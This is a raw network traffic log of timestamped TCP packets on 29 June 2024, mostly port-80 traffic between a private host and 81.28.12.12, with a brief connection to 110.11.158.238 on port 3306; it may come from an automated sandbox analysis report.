Jun 29, 2024 08:05:15.631432056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631438971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631453991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631603956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631684065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631695032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631704092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631711960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631721020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631731033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631738901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631741047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631751060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631759882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631777048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631794930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631828070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631858110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.631911993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631922960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631932974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631942987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631953001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631962061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.631983995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.632025957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.632030010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.632030964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.632119894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.632145882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.632157087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.632224083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633022070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633030891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633040905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633075953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633085012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633094072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633104086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633104086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633105993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633156061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633156061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633182049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633243084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633275986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633281946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633294106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633336067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633373022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633383036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633434057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633444071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633502960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633502960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633548975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633557081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633570910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633582115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633593082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633610964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633644104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633738995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633749962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633760929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633769989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633769989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633799076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633800030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633810043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633820057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633835077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633873940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633873940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.633891106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633902073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633910894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.633986950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.634013891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634023905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634044886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634058952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634078026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.634078026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.634152889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.634186983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634196997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634207010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634217024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634227037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634246111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.634278059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.634293079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.634293079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.634412050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.701903105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.701915979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.701925993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.701953888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.701981068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.702161074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702169895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702186108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702194929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702204943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702208042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.702215910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702225924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702239990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.702240944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702240944 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.702251911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702260971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702270031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702277899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.702277899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.702280998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.702296972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.702514887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.705200911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.705249071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.705259085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.705276012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.705344915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.705355883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.705367088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.705434084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.705446959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.705459118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.705502987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.705502987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.706310987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.706340075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.706350088 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.706367970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.706435919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.706437111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.706445932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.706456900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.706466913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.706482887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.706521034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.706547022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.706756115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.709420919 CEST	3306	49732	110.11.158.238	192.168.2.4
Jun 29, 2024 08:05:15.709475994 CEST	49732	3306	192.168.2.4	110.11.158.238
Jun 29, 2024 08:05:15.710942030 CEST	49732	3306	192.168.2.4	110.11.158.238
Jun 29, 2024 08:05:15.719244957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719263077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719271898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719296932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719353914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719369888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719427109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719438076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719482899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719496012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719511032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719584942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719594002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719604015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719609976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719628096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719630957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719636917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719646931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719660997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719731092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719741106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719749928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719753981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719775915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719857931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719866991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719876051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719885111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719892025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719902992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.719917059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719949961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.719949961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.720608950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.720621109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.720660925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.720711946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.720750093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.720758915 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.720808029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.720808029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.720833063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.720844030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.720963001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.720993996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721004009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721013069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721023083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721033096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721040964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721050024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721060038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721077919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721124887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721134901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721151114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721164942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721174002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721188068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721226931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721226931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721257925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721267939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721277952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721287966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721323967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721421957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721431971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721441984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721451998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721461058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721477032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721491098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721520901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721520901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721570969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721580982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721596003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721606016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721621037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721647978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721647978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721704960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.721728086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.721829891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.722558022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722655058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.722662926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722673893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722693920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722703934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722721100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722745895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.722783089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722811937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.722836971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722846985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722857952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.722901106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.722902060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.722932100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722942114 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722951889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722960949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.722978115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723047018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723057032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723077059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723134041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723154068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723162889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723172903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723181009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723186016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723236084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723236084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723268032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723278046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723285913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723309994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723340034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723356009 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723388910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723397970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723449945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723449945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723453999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723464966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723474026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723489046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723511934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723592997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723602057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723613024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723654985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723664999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723681927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723720074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723730087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723740101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723748922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723793983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.723810911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.723822117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.724028111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.791460991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791471958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791481018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791531086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.791564941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.791774035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791784048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791793108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791802883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791812897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791817904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.791821957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791835070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791848898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.791851997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791867018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791876078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791878939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.791886091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.791893959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.791945934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.794807911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.794857025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.794868946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.794881105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.794883013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.794907093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.794920921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.794933081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.794944048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.794950962 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.794971943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.794971943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.794989109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.795001984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.795074940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.795840025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.795859098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.795869112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.795893908 CEST	49731	80	192.168.2.4	81.28.12.12
